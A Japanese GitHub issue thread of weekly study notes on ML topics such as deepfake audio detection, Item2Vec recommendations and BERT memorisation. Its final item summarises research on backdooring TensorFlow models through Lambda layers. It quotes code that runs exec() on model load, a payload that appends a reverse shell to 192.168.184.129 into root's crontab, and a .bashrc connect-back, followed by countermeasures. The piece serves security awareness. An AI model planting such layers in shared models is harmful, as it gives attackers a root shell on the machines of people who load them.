GENZITSU / UsefulMaterials

34 stars 0 forks source link

almost weekly useful materials - 10/12 - #114

Open GENZITSU opened 1 year ago

GENZITSU commented 1 year ago

AIが生成した“偽音声”を見抜く技術 99%以上の精度で検出

DeepFake音声の検出を物理シミュレーションを活用して実施する研究の紹介記事。

音声を物理空間に写像して物理的に変な挙動となっていないかを元に判定を実施する。

以下抜粋

米フロリダ大学の研究チームが発表した論文「Who Are You(I Really Wanna Know)? Detecting Audio DeepFakes Through Vocal Tract Reconstruction」は、音声生成モデルで作成された合成音声を見抜く検出器を開発し検証した研究報告だ。音声から声の通り道「声道」を作成して、その声道から人の音声か偽物の音声かを識別する。

人間は、声帯や舌、唇などの声道構造物に空気を送り込み発声する。これらの構造を変化させることで200以上の異なる音、すなわち音素を作り出す。しかし人体の構造上、これらの音素の音響的挙動は基本的に制限されており、それぞれの音素の正しい音域は比較的狭くなる。 これに対し、ディープフェイク音声はそのような制限はなく、数十秒のターゲット音声を聞くだけで声の特徴を抽出し、テキスト音声合成アルゴリズムを用いて、選択したフレーズをターゲットが言っているように聞こえる音声サンプルを幅広い音域で生成する。

研究チームは、人間の声とディープフェイク音声を区別するために、調音音声学の研究を活用して発声時の人間の声道の配置を推定する流体力学モデルを開発した。 違いは明らかで、人声からの声道は生物学的に複雑な形状になるのに対し、ディープフェイク音声からの声道の多くはストローが曲がったような単純で無機質な形状になる。この違いにより、どんなに人間に近い音声であっても声道が模倣できていなければ見分けられることが分かった。

システムを評価するため実験をした結果、精度99.9%、再現率99.5%という信頼できる高い数字を達成した。平均して1文の発話でディープフェイク音声を検出することができ、真陽性率(TPR)は92.4%であった。

コメント

最近静岡の豪雨被害をimage2textで生成したフェイクニュースが問題視されていたが、それが発覚したのも水面反射がおかしいなどといった物理的な制約からであった。
しばらくのうちは物理制約を考慮することで判定ができそうだが、技術が進歩すると物理制約までとりこんだ形でAIが進化しそう。そこまでいくと、デジタルツインもすぐそこかもしれない。

出典

AIが生成した“偽音声”を見抜く技術 99%以上の精度で検出

GENZITSU commented 1 year ago

KWJA:汎用言語モデルに基づく日本語解析器 / kyoto-waseda-japanese-analyzer

形態素解析や構文解析などのさまざまな日本語解析を実施できるツールKWJAの紹介スライド

以下重要そうな要点のみ抜粋

スクリーンショット 2022-10-03 23 45 34

スクリーンショット 2022-10-03 23 45 09

スクリーンショット 2022-10-03 23 46 09

スクリーンショット 2022-10-03 23 46 40

スクリーンショット 2022-10-03 23 47 58

スクリーンショット 2022-10-03 23 48 07

スクリーンショット 2022-10-03 23 48 36

スクリーンショット 2022-10-03 23 48 51

スクリーンショット 2022-10-03 23 49 02

スクリーンショット 2022-10-03 23 49 14

スクリーンショット 2022-10-03 23 49 28

コメント

複数の解析を実施している & RoBERTAを用いてる影響でGPU利用で2.6文 /s とかなり遅く、実務で使うにはここがネックになりそう。 使用する解析器を選択できると嬉しそう。

出典

GENZITSU commented 1 year ago

Item2vecを用いた商品レコメンド精度改善の試み

メルカリ内でのユーザーの本/漫画 商品の閲覧履歴にItem2Vecを適用することで商品レコメンドの性能を改善した事例の紹介。

レコメンドロジック

作品ごとの類似度関係性の算出 (過去Nヶ月のデータを用いて月次でPython処理する) a. 過去Nヶ月で本やマンガの商品を閲覧したユーザーを抽出 b. ユーザーの過去Nヶ月の商品閲覧履歴を収集 c.セッションごとに分割し、タイトルの羅列を抽出する d.タイトルの羅列を文章、各タイトルを単語とみなして Item2Vec でタイトルのベクトルを算出 e.タイトルのベクトルを利用し、タイトル同士の関係性 (cos類似度) を算出 f.タイトル同士の関係性データをBigQueryに保管

ユーザーへのレコメンドの生成 (過去N時間のデータを用いて毎時BigQuery処理) a. ユーザーの過去N時間の商品閲覧履歴のうちタイトルデータが紐づけられるものを抽出 b. 「ユーザーが閲覧した商品のタイトルに似ているタイトル」を算出 c. ↑で算出したものを「ユーザーへレコメンドするタイトル一覧」としてBigtableに格納 d. ユーザーがホーム画面来訪時、Bigtable内にレコメンドするタイトル一覧があればそのタイトルを検索してレコメンド商品リストとして表示

実行自体はColabでやっているということなので、定期的にタイトルベクトルのアップデートをしているわけでは無さそう。

Item2Vec の計算は Colab 上で Gensim を利用して処理

レコメンド例の紹介

スクリーンショット 2022-10-04 23 55 39

スクリーンショット 2022-10-04 23 55 33

スクリーンショット 2022-10-04 23 55 46

コメント

世はBERT全盛という時代にItem2Vecはロストテクノロジーかと思っていたが、2022年でも現役で使える手法だとは思わなかった... もしかすると逆で、発表当時は十分なセッションデータが足りていなかったせいで十分な性能が出ていなかっただけで、ユーザー数が増えたこの時代だからこそ効果を発揮したのかもしれない。

ユーザーログが多くない場合は利用が難しいこともありますが、メルカリのように、莫大なユーザー数を抱え、膨大なログが日々蓄積されるサービスとは非常に相性がいいと個人的に思っております

また、過去Nカ月分のNをどう設定するかにも実は秘伝のミソがあるのかもしれない。 たとえばドラマやアニメの放送周期である4カ月にするべきなど。

出典

Item2vecを用いた商品レコメンド精度改善の試み

GENZITSU commented 1 year ago

poetry 1.2.0 で cuda11 版 pytorch を入れる

poetry 1.2.0では長らく利用できなかったリンクしているによるライブラリのインストールが可能になったとのこと

以下のように記述する

# from https://qiita.com/Simossyi/items/a99967cf8d5df64ac52f

[tool.poetry.dependencies]
torch = { url = "https://download.pytorch.org/whl/cu111/torch-1.9.1%2Bcu111-cp37-cp37m-linux_x86_64.whl"}

コメント

poetry使わない最大の理由が消えたので、そろそろ入信せねば

出典

poetry 1.2.0 で cuda11 版 pytorch を入れる

GENZITSU commented 1 year ago

論文紹介: Memorisation versus Generalisation in Pre-trained Language Models

事前学習済みBERTをfine-tuningする際の学習過程には、汎化フェーズと、停滞フェーズと、丸暗記フェーズの3つが存在することを実験的に発見した論文の紹介。

以下勉強になったスライドのみ抜粋。

スクリーンショット 2022-10-07 23 10 57

スクリーンショット 2022-10-07 23 09 26

スクリーンショット 2022-10-07 23 09 37

スクリーンショット 2022-10-07 23 09 46

スクリーンショット 2022-10-07 23 13 43

スクリーンショット 2022-10-07 23 13 54

スクリーンショット 2022-10-07 23 14 57

スクリーンショット 2022-10-07 23 15 23

コメント

BERTの学習は結構時間がかかりがちだが、学習終盤は表面上精度が上がっているだけということでなかなか恐ろしいなと思った。validationデータ自体もノイズが入っているととめどきがわからない...?

あえて既知のノイズを埋め込んでおいて、Memorizationが始まった手前でEarlyStoppingさせるみたいなこともできそう?
lossの履歴でノイズを検出できるという発見も面白い。

出典

論文紹介: Memorisation versus Generalisation in Pre-trained Language Models

GENZITSU commented 1 year ago

Remgbを使って画像から背景を削除してみた

rembgという背景除去ライブラリの使用感の紹介記事。 ベースになっているのは注目領域をくり抜くU2netで、onnx化したものを配布しているようだ。

インストール方法

pip install rembg
or
pip install rembg[gpu]

使用方法

# from https://github.com/danielgatis/rembg

from rembg import remove
import cv2

input_path = 'input.png'
output_path = 'output.png'

input = cv2.imread(input_path)
output = remove(input)
cv2.imwrite(output_path, output)

使用感

スクリーンショット 2022-10-09 19 34 09

スクリーンショット 2022-10-09 19 34 17

スクリーンショット 2022-10-09 19 34 24

微妙な例

スクリーンショット 2022-10-09 19 34 31

スクリーンショット 2022-10-09 19 34 40

コメント

同じことはU2Netでもできていたとは思うが、ここまで使い勝手が良くなるのはありがたい。

出典

Remgbを使って画像から背景を削除してみた

GENZITSU commented 1 year ago

細工した分類器を利用した任意のコード実行

tensorflowのLambda Layerを用いて任意のコードを実行させる方法が紹介されている。

OSSで提供されている学習済みモデルを実務で利用することが多々あるが、学習済みのモデルは重みだけではなくプログラムであるということで、攻撃的なコードが埋め込まれていることがありうる。

Using TensorFlow Securelyというものがtensorflow公式から公開されていて、以下のような記載がある。

TensorFlow models are programs, and need to be treated as such from a security perspective.

どのように埋め込むのか?

 本検証では、分類器にLambdaレイヤを追加することで任意のコード実行を試みます。

例①: 任意のコードの実行

# from https://www.mbsd.jp/research/20200603/tensorflow/
model.add(tf.keras.layers.Lambda(lambda x: [x, exec('print("This system is compromised!!")')][0]))

以下のようなLambda Layerをモデルに追加することで、出力は変わらないが、任意のコードがついでに実行されるように仕組むことが可能になる。

これを仕込んだモデルを読み込んで推論させると以下のような挙動をする。

スクリーンショット 2022-10-09 22 23 11

スクリーンショット 2022-10-09 22 23 26

推論もされるが余計なことも起きていることが確認dけいる。

例②: バックドアを仕込む

スクリーンショット 2022-10-09 22 25 51

Lambdaレイヤに自作関数を埋め込めることは上述しましたが、ここではdummy_inputという独自関数を埋め込んでいます。本関数は、分類器を実行したユーザの.bashrcに任意のコマンドを追加する役割を持ちます。先ず、/proc/self/environで環境変数のリストを取得し、次に.bashrcが格納されているHOMEディレクトリのPathを特定します。そして最後に、攻撃者のサーバ(192.168.184.129)にコネクトバックするコマンドを.bashrcに追加します。

バックドアを成功させている例

スクリーンショット 2022-10-09 22 26 53

仮にモデルをsudo権限で実行させている場合、バックドアをし変えている側もsudoに成れることに注意

被害者は分類器を実行した後にシェル(bash)を再起動していますが、この瞬間、悪意のある者のコンソールのプロンプトがitakaesuからrootに変わっていることに注目してください。つまり、悪意のある者によって被害者のシステムが制御されたことを意味しています。この後、悪意のある者は被害者のシステム上で(root権限の範囲内で)任意の操作を行うことが可能となります(本検証では、root権限でしかアクセスできない/etc/shadowファイルを標準出力している)

このコネクトバックをcrontabに仕込ませることもできたり...

# from https://www.mbsd.jp/research/20200603/tensorflow/

def crontabs_input(z):
    # Add any command to "/var/spool/cron/crontabs/root".
    file_path = '/var/spool/cron/crontabs/root'
    org_content = tf.io.read_file(file_path)
    payload = tf.constant("* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.184.129/8888 0<&1 2>&1'")
    evil_content = tf.strings.join([org_content, payload])
    tf.io.write_file(file_path, contents=evil_content)
    return z

model.add(tf.keras.layers.Lambda(crontabs_input))

対策

  • 信頼できない第三者から提供された分類器を使用しない
  • 必ずサンドボックス環境内で実行することを心掛けましょう。
  • 加えて、根本的な解決策にはなりませんが、万が一の被害を最小限に抑えるために、分類器の実行権限を必要最低限にする

コメント

2022年4月にPlanting Undetectable Backdoorsin Machine Learning Modelsという論文で特定の入力に対して任意の出力をさせる方法が提唱されていたが、ここまでドストレートな方法があるとは...。

この記事自体は2020年に書かれていたものであるが、tensorflowの脆弱性ではなく、プログラムとしての脆弱性なので2022年現在でもworkする攻撃方法である。

tensorflowの挙動の何がタチが悪いかというと、pytorchと違ってモデルの定義をした後にstate_dict()を読み込まずともtf.keras.models.load_modelでモデルの構造と重みを両方loadできてしまうので、事前の検査がしづらいという点。

同様のことをpytorchでやってみようとすると、確かに以下のような実装で任意コードの実行を引き起こせる。

import numpy as np
import torch
from torch import nn
from torchinfo import summary

class LambdaLayer(nn.Module):
    def __init__(self, lambd):
        super(LambdaLayer, self).__init__()
        self.linear = nn.Linear(1000, 100)
        self.lambd = lambd
    def forward(self, x):
        return self.lambd(x)

torch_model = nn.Sequential(
    nn.Linear(1000, 100),
    nn.ReLU(),
    nn.Dropout(0.2),
    nn.Linear(100, 10),
    LambdaLayer(lambda x: [x, exec('print("This system is compromised!!")')][0])
)

torch_model(torch.Tensor(np.random.rand(1000)))

> This system is compromised!!
> tensor([-0.2699, -0.0419,  0.0817, -0.1573,  0.0307,  0.0552, -0.1854,  0.1850,
        -0.3889,  0.0288], grad_fn=<AddBackward0>)

しかし、state_dictにした段階で、パラメータではないLambdaLayerのself.lambda部分は消えてしまう。

また、state_dictにせず保存しようとすると以下のようにpickle化のエラーで詰まる。


torch.save(torch_model, "test.pth")

> PicklingError: Can't pickle <function <lambda> at 0x7f621343a3b0>: attribute lookup <lambda> on __main__ failed

ということで、pytorchの場合はクラス定義の方を見れば変なことがされていないかは大まかにわかるということ。

出典